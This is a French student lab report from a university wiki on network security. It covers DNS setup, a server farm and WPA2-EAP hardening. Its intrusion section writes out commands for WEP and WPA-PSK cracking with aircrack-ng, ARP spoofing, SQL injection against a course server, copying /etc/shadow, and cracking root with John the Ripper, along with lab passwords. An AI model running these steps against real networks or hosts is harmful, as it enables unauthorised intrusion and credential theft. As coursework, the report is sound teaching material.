TP sysres IMA5sc 2020/2021 G12 : Différence entre versions
(→7.1 Architecture générale de la ferme) |
(→7.2 Installation de docker) |
||
(2 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 308 : | Ligne 308 : | ||
Génération de clef publique: | Génération de clef publique: | ||
− | cat .ssh/id_rsa.pub | ssh ''ip_cible'' "cat >> /root/.ssh/authorized_keys2" | + | cat /root/.ssh/id_rsa.pub | ssh ''ip_cible'' "cat >> /root/.ssh/authorized_keys2" |
==7.2 Installation de docker== | ==7.2 Installation de docker== | ||
+ | |||
+ | Installation de docker avec la commande suivante: | ||
+ | |||
+ | ansible-galaxy install geerlingguy.docker | ||
+ | |||
+ | On modifie cela dans le playbook: | ||
+ | |||
+ | docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg | ||
+ | docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable | ||
==7.3 Création de votre docker== | ==7.3 Création de votre docker== |
Version actuelle datée du 17 décembre 2020 à 17:45
TP PRA Quentin Normand / Maxime Claudel - truffe
4. Services Internet
4.1. Configuration des DNS
Dans un premier temps il a fallu réserver un nom de domaine dans la section Glue Records sur gandi.net :
ns1.truffe.site
Configuration de bind
Installation du paquet nécessaire :
sudo apt-get install bind9
Changement dans le fichier /etc/resolv.conf pour avoir une connexion :
nameserver 127.0.0.1
Configuration des options de transfert d'information :
Dans le fichier /etc/bind/named.conf.options, on modifie comme ci-dessous.
options { directory "/var/cache/bind"; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
Configuration du DNS dans la zone truffe.site :
On travaille maintenant dans le fichier /etc/bind/named.conf.local.
On souhaite créer une zone truffe.site de type master.
On ajoute aussi le chemin vers son fichier de configuration (fichier à créer a posteriori).
Finalement, on autorise le transfert d'informations vers le DNS primaire associé à l'adresse suivante : 217.70.177.40
zone "truffe.site" IN { type master; file "/etc/bind/db.truffe.site"; allow-transfer {217.70.177.40;}; };
Configuration de la zone truffe.site :
En s'inspirant du fichier /etc/bind/db.local déjà présent, on crée un fichier /etc/bind/db.truffe.site.
On y ajoute les serveurs DNS principaux et secondaires ns1.truffe.site et ns6.gandi.net ainsi que l'adresse ip de notre VM sous ns1.
Il faut également modifier localhost et root.localhost et incrémenter le Serial.
$TTL 604800 @ IN SOA ns1.truffe.site. postmaster.truffe.site. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.truffe.site @ IN NS ns6.gandi.net ns1 IN A 193.48.57.177
Finalement, on oublie pas de relancer le service bind9 :
service bind9 restart
On peut ensuite changer les serveurs de noms sur gandi.net.
5. Tests d'intrusion
5.2 Cassage de clef WEP d'un point d'accès WiFi
Afin de réaliser le craquage de mot de passe, on utilise les paquets aircrack-ng. Dans un premier temps on recherche les interfaces réseaux du pc avec la commande suivante:
airmon-ng
On peut ensuite démarrer l'interface Wi-Pi en mode monitor avec la commande:
airmon-ng start wlx40a5ef05a110
L'interface réseau a été renommé suite à cela en wlan0mon.
On peut donc ensuite lancer un scan des réseaux wifi WEP avec la commande:
airmon-ng --encrypt wep wlan0mon
On peut maintenant choisir un réseaux à craquer en capturant les paquets du réseau choisi avec la commande suivante:
airdump-ng --write kracotte12 --channel 3 --bssid 00:14:1C:60:8C:2B wlan0mon
Et enfin lancer le craquage via la commande:
aircrack-ng -z kracotte12-01.cap
5.3 Cassage de mot de passe WPA-PSK par force brute
On utilise encore une fois aircrack-ng.
On commence donc par les commandes suivantes:
airmon-ng
airmon-ng start wlx40a5ef05a110
L'interface réseau a été renommé suite à cela en wlan0mon.
On peut donc lancer la commande suivante:
airodump-ng wlan0mon
On récupère ainsi le BSSID et le canal de krakotte12. On cherche alors à récupérer le handshake via la commande suivante:
airodump-ng --bssid 00:14:1B:60:8C:2B wlan0mon --channel 5 --write hand
On obtient:
On créée donc un dictionnaire pour faire la force brute sachant que le mot de passe est composé que de chiffres et est de longueur 8.
crunch 8 8 1234567890 > dico
Et ensuite on peut lancer:
aircrack-ng hand-01.cap -w dico
5.4 Attaque de type "homme au milieu" par usurpation ARP
On commence par installer dsniff sur le pc. On passe ensuite le eeepc en mode routeur avec la commande:
sysctl -w .net.ipv4.ip_forward=1
On insère ensuite le eeePC entre la zabeth (ici zabeth06) et le routeur via la commande:
arpspoof -i eth0 -t 172.26.145.56 172.26.145.254
On lance ensuite wireshark afin de capturer les paquets échangés avec le filtre suivant:
ip.addr == 172.26.145.56
5.5 Intrusion sur un serveur d’application Web
L'objectif de cette partie est de se connecter en ssh en tant que root sur le serveur honey.plil.info.
Pour cela, dans un navigateur web, on examine l'application, et on tente une injection SQL dans le champ identifiant via la commande:
'OR 1=1#
On obtient ainsi une liste d'utilisateurs avec les mots de passe associés.
On peut donc désormais se connecter à l'application avec l'identifiant admin et son mot de passe jesuislechef.
Par la suite, on a pu voir les différents manuels, et en ajouter un avec le chemin /etc/phpmyadmin/config-db. En téléchargeant le fichier nouvellement créé, on a pu récupérer le mot de passe gencovid19. En se connectant en root avec ce mot de passe à phpmyadmin on a pu rentrer dans la table users et récupérer le login rex et le mot de passe associé plainpassword.
On a donc pu se connecter en SSH au serveur:
ssh rex@honey.plil.info
On a ensuite utilisé les commandes suivantes pour récupérer les fichiers /etc/passwd et /etx/shadow:
scp rex@honey.plil.info:/etc/shadow shadow_rex
scp rex@honey.plil.info:/etc/passwd passwd_rex
Ces deux fichiers vont nous permettre de récupérer le mot de passe root par force brute via l'utilitaire johnthereaper.
Cependant, grâce aux indications données, nous pouvons limité la force brute aux mots de passe formé de 2chaines identiques de 4 caractères. On va donc dans un premier temps créer un dictionnaire de mots de 4 caractères:
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
Puis le transformer en dictionnaire de mots de 8 caractères en doublant les mots présents:
sed -i 's/\(.*\)/\1\1/'
Maintenant que nous avons un dictionnaire adéquat, nous pouvons nous consacrer au craquage du mot de passe pleinement. Nous allons regrouper passwd_rex et shadow_rex avec la commande suivante:
unshadow /home/passwd_rex /home/shadow_rex | head > password
Puis utiliser la force brute avec la commande:
john -w:dico password
On obtient alors le mot de passe root suivant: fortfort
On peut alors se connecter en SSH:
ssh root@honey.plil.info
Puis ajouter un fichier:
touch Normand_Claudel_grp12
6. Réalisations
6.1 Sécurisation de données
6.2 Chiffrement de données
On commence par installer les paquets lvm2 et cryptsetup.
On trouve le nom de la clef USB avec la commande lsblk. La clef est donc sda et est déjà chiffrée. On réinitialise la clef avec la commande suivante:
mkfs.ext4 /dev/sda
Il y a bien un message de confirmation pour écraser la partition cryptée existante.
On initialise ensuite la partition avec la commande:
sudo cryptsetup luksFormat /dev/sda
On nous demande alors le mot de passe que l'on souhaite utiliser pour déchiffrer la clef. (Le mot de passe root des zabeth a été utilisé pour la clef).
Pour connecter votre nouveau conteneur chiffré au système d’exploitation, on utilise de nouveau cryptsetup :
sudo cryptsetup luksOpen /dev/sda usb
Le conteneur est maintenant accessible depuis le périphérique virtuel /dev/mapper/usb.
Pour formater le périphérique virtuel, on utile mkfs:
sudo mkfs.ext4 /dev/mapper/usb
Pour déconnecter le conteneur on utilise luksClose.
Ubuntu reconnait alors automatiquement la clef chriffré et demande le mot de passe pour accéder à la partition.
Si la distribution ne reconnaît pas automatiquement la clef, on peut par exemple exécuter les commandes suivantes:
cryptsetup luksOpen /dev/sda usb mkdir /mnt/usb mount /dev/mapper/usb /mnt/usb
Et pour démonter la clef:
umount /mnt/usb cryptsetup luksClose usb
6.3 Inspection ARP par un élément réseau
6.4 Sécurisation WiFi par WPA2-EAP
Sécurisation
wifi-ima5sc(config)#aaa authentication login eap_group12 group radius_group12 wifi-ima5sc(config)#radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_group12 wifi-ima5sc(config)#aaa group server radius radius_group12 wifi-ima5sc(config-sg-radius)#server 193.48.57.177 auth-port 1812 acct-port 1813 wifi-ima5sc(config-sg-radius)#dot11 ssid SSID_GROUP12 wifi-ima5sc(config-ssid)#mbssid guest-mode wifi-ima5sc(config-ssid)#vlan 312 wifi-ima5sc(config-ssid)#authentication open eap eap_group12 wifi-ima5sc(config-ssid)#authentication network-eap eap_group12 wifi-ima5sc(config-ssid)#authentication key-management wpa
wifi-ima5sc(config-ssid)#interface Dot11Radio0 wifi-ima5sc(config-if)#encryption vlan 312 mode ciphers aes-ccm tkip wifi-ima5sc(config-if)#mbssid wifi-ima5sc(config-if)#ssid SSID_GROUP12
wifi-ima5sc(config)#int Dot11radio0.12 wifi-ima5sc(config-subif)#encapsulation dot1q 312 wifi-ima5sc(config-subif)#bridge-group 12
wifi-ima5sc(config)# int Gi0.12 wifi-ima5sc(config-subif)# encapsulation dot1q 312 wifi-ima5sc(config-subif)# bridge-group 12
Freeradius
Dans /etc/freeradius/3.0/users
pifou Cleartext-Password := "pasglop"
Dans /etc/freeradius/3.0/client.conf
client truffe_wifi { ipaddr = 10.60.100.10 secret = secret_group12 }
Dans /etc/freeradius/3.0/mods-enabled/eap
default_eap_type = peap
7. Ferme de serveurs WEB
7.1 Architecture générale de la ferme
On ajoute d'abord une seconde interface réseau dans la VM sur CAPBRETON. L'adresse MAC sera celle de eth0 incrémenté de 1.
ifconfig eth1 up
Pour rendre l'interface visible. On modifie ensuite le /etc/network/interfaces.
On ajoute une mascarade dans la machine sur CAPBRETON: (l'ip sur chassiron est 192.168.42.12)
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.42.12 iptables -A FORWARD -j ACCEPT -d 192.168.42.12 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.12 --to-source 193.48.57.177 iptables-save
On passe ensuite /proc/sys/net/ipv4/ip_forward à 1.
Génération de clef publique:
cat /root/.ssh/id_rsa.pub | ssh ip_cible "cat >> /root/.ssh/authorized_keys2"
7.2 Installation de docker
Installation de docker avec la commande suivante:
ansible-galaxy install geerlingguy.docker
On modifie cela dans le playbook:
docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg docker_apt_repository: deb [arch=amd64] https://download.docker.com/linux/debian buster stable